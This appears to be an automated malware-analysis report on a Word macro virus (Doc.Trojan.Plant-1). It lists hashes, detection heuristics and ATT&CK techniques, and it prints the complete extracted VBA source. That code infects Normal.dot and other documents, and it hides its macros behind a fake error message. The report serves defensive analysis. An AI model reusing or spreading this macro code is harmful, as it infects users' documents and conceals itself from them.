Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 368db27848a28679…

MALICIOUS

Office (OLE)

46.5 KB Created: 2000-03-10 00:25:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9f529f719ee51bd54e051eabf1cf01b0 SHA-1: 3b4bf734a413715f84c0420c962bb24ce1f96dc3 SHA-256: 368db27848a28679b9aa32a46cc231b8678b1e93e7947d59507e7cec7e57658e
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Plant-1. It contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose, which are indicative of malware. The AutoOpen macro attempts to save itself as 'Plant.doc' in the program path and copy macros to 'Normal.dot', suggesting an attempt to establish persistence and potentially download further payloads. The AutoExec subroutine contains a message box indicating infection by 'Plant.Virus'.

Heuristics 6

  • ClamAV: Doc.Trojan.Plant-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Plant-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Application.OrganizerCopy _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2785 bytes
SHA-256: 086c185711248e78bf56f83180349017291e80419ee2ec32fae60c1fe4d3e192
Detection
ClamAV: Doc.Trojan.Plant-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FServPlant"
'
' Please, don't delete it, if you are not sure.
'

Sub AutoExec()
    On Error GoTo ErrorInSub
    CommandBars("Visual Basic").Enabled = False
    If DateTime.Day(DateTime.Date) = 1 _
    And DateTime.Month(DateTime.Date) = 1 Then MsgBox _
    prompt:="Happy NewYear ! You are infected by Plant.Virus. " + _
    "Don't panic, i'm KILL you.", _
    buttons:=vbExclamation, _
    Title:="Plant Information"
ErrorInSub:
End Sub
Sub AutoOpen()
    fName = ActiveDocument.Name
    fFullName = ActiveDocument.FullName
    nPath = Options.DefaultFilePath(wdUserTemplatesPath)
    sPath = Options.DefaultFilePath(wdProgramPath)
    
    On Error GoTo ErrorInSub
    If FileSystem.Dir(sPath + "\Plant.doc", vbNormal) = _
    "Plant.doc" Then GoTo FindMainFile
    ActiveDocument.SaveAs FileName:=sPath + "\" + fName
    ActiveDocument.SaveAs FileName:=fFullName
    Name sPath + "\" + fName As sPath + "\Plant.doc"
    AutoExec
FindMainFile:
    CopyMacros nSource:=fFullName, nDestination:=nPath + "\Normal.dot"
ErrorInSub:
End Sub
Sub FileOpen()
    On Error GoTo ErrorInSub
    Dialogs(wdDialogFileOpen).Show
ErrorInSub:
End Sub
Sub AutoClose()
    fFullName = ActiveDocument.FullName
    sPath = Options.DefaultFilePath(wdProgramPath)

    On Error GoTo ErrorInSub
    CopyMacros nSource:=sPath + "\Plant.doc", nDestination:=fFullName
ErrorInSub:
End Sub
Sub ViewVBCode()
    On Error GoTo ErrorInSub
    VBNotToday
ErrorInSub:
End Sub
Sub ToolsMacro()
    On Error GoTo ErrorInSub
    VBNotToday
ErrorInSub:
End Sub
Sub Organizer()
    On Error GoTo ErrorInSub
    VBNotToday
ErrorInSub:
End Sub
Sub ToolsRecordMacroStart()
    On Error GoTo ErrorInSub
    VBNotToday
ErrorInSub:
End Sub
Sub ToolsRecordMacroToggle()
    On Error GoTo ErrorInSub
    VBNotToday
ErrorInSub:
End Sub
Private Sub CopyMacros(nSource, nDestination)
    On Error GoTo ErrorInSub
    Application.OrganizerCopy _
    Source:=nSource, _
    Destination:=nDestination, _
    Name:="FServPlant", _
    Object:=wdOrganizerObjectProjectItems
ErrorInSub:
End Sub
Private Sub VBNotToday()
    On Error GoTo ErrorInSub
    MsgBox _
    prompt:="Microsoft Visual Basic is not installed. " + _
    "Please refer to the online help or documentation of the " + _
    "host application to determine how to install " + _
    "Microsoft Visual Basic.", _
    buttons:=vbExclamation, Title:="Microsoft Visual Basic"
ErrorInSub:
End Sub